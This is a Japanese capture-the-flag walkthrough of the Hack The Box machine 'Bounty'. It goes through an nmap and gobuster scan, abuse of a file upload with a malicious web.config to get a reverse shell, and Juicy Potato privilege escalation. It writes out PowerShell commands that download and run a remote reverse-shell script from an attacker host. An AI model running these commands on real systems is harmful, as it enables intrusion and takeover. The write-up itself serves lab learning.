目次
偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~/htb/bounty] └─$ sudo nmap -A -p- 10.10.10.93 Starting Nmap 7.94SVN ( https://nmap.org ) Nmap scan report for bounty.htb (10.10.10.93) Host is up (0.23s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Bounty |_http-server-header: Microsoft-IIS/7.5 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%) OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 234.04 ms 10.10.14.1 2 235.87 ms bounty.htb (10.10.10.93)
TCP/80が開いていることがわかりました。
アクセスすると以下のような画面が表示されます。
このページは画像を表示しているだけでした。
先程のnmapの結果より、IISで稼働していることがわかったので、拡張子「asp、aspx、txt」に注目してスキャンを行います。
┌──(kali㉿kali)-[~/htb/bounty] └─$ gobuster dir --url http://10.10.10.93 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x asp,aspx,txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.93 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: asp,aspx,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /aspnet_client (Status: 301) [Size: 156] [--> http://10.10.10.93/aspnet_client/] /render/https://www.google.com.aspx (Status: 400) [Size: 11] /transfer.aspx (Status: 200) [Size: 941] /uploadedfiles (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/] Progress: 18908 / 18908 (100.00%) =============================================================== Finished ===============================================================
「/transfer.aspx」というページが見つかります。
アクセス取得
このページではファイルのアップロードが可能です。
アップロードしたファイルは以下のフォルダ配下で確認できます。
Burpのintruderを使用して、アップロード可能な拡張子を確認します。
ファイルアップロードのリクエストを右クリック「Send to Intruder」でintruderに送ります。
「Intruder」タブに移動し、拡張子の指定部分をペイロードに指定します。
「Payloads」タブに移り、「Payloads setting」のメニューで「load」より拡張子のリストファイルを選択します。
設定が終わったら実行します。
「.config」ファイルのアップロードができることが確認できました。
以下のサイトにある「web.config」および「Invoke-PowerShellTcp.ps1」
を使用してアクセスを取得します。
上記のファイルがあるディレクトリでWebサーバを立ち上げ、ncで待ち受けた状態で「web.config」をアップロードします。
ファイルのアップロード後、アップロードしたファイルにアクセスするとシェルが取得できます。
権限昇格
システムの情報を確認します。
Windows Server 2008 R2であることがわかります。
「whoami /priv」で現在のユーザの権限を確認します。
「SeImpersonatePrivilege」が有効になっており、また、Windows Server 2008 R2であることから「Juicy Potato」での権限昇格できる可能性があります。
※Windows Server 2019およびWindows 10 build 1809以降では、「SeImpersonatePrivilege」を利用した攻撃は防がれており、Juicy Potatoによる権限昇格はできません。
Juicy Potatoを以下のサイトよりダウンロードします。
以下のコマンドでbountyにJuicyPotatoを配置します。
powershell "(new-object System.Net.WebClient).Downloadfile('http://10.10.14.21/JuicyPotato.exe', 'JuicyPotato.exe')"
実行してみると、必要なオプションが提示されます。
※JuicyPotatoの実行ではCLSIDの指定が必要という記事をいくつか見ましたが、自分の環境では不要でした。
また、オプションについては自分の指定した内容を記載しています。
-t:プロセス呼び出しオプションで、「*」は両方のモードを試します。
-p:kaliにリバースシェルを送り返すファイルを指定します。
-l:kaliの待ち受けポートを指定しました。
「-p」で指定する「shell.bat」は以下の内容を記載しました。
なお、bat内で呼んでいるps1は先程とは異なるポートを指定しています。
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.21:80/Invoke-PowerShellTcp.ps1')
「shell.bat」をbountyに配置し、JuicyPotatoを実行します。
待ち受けたncでrootが取得できました。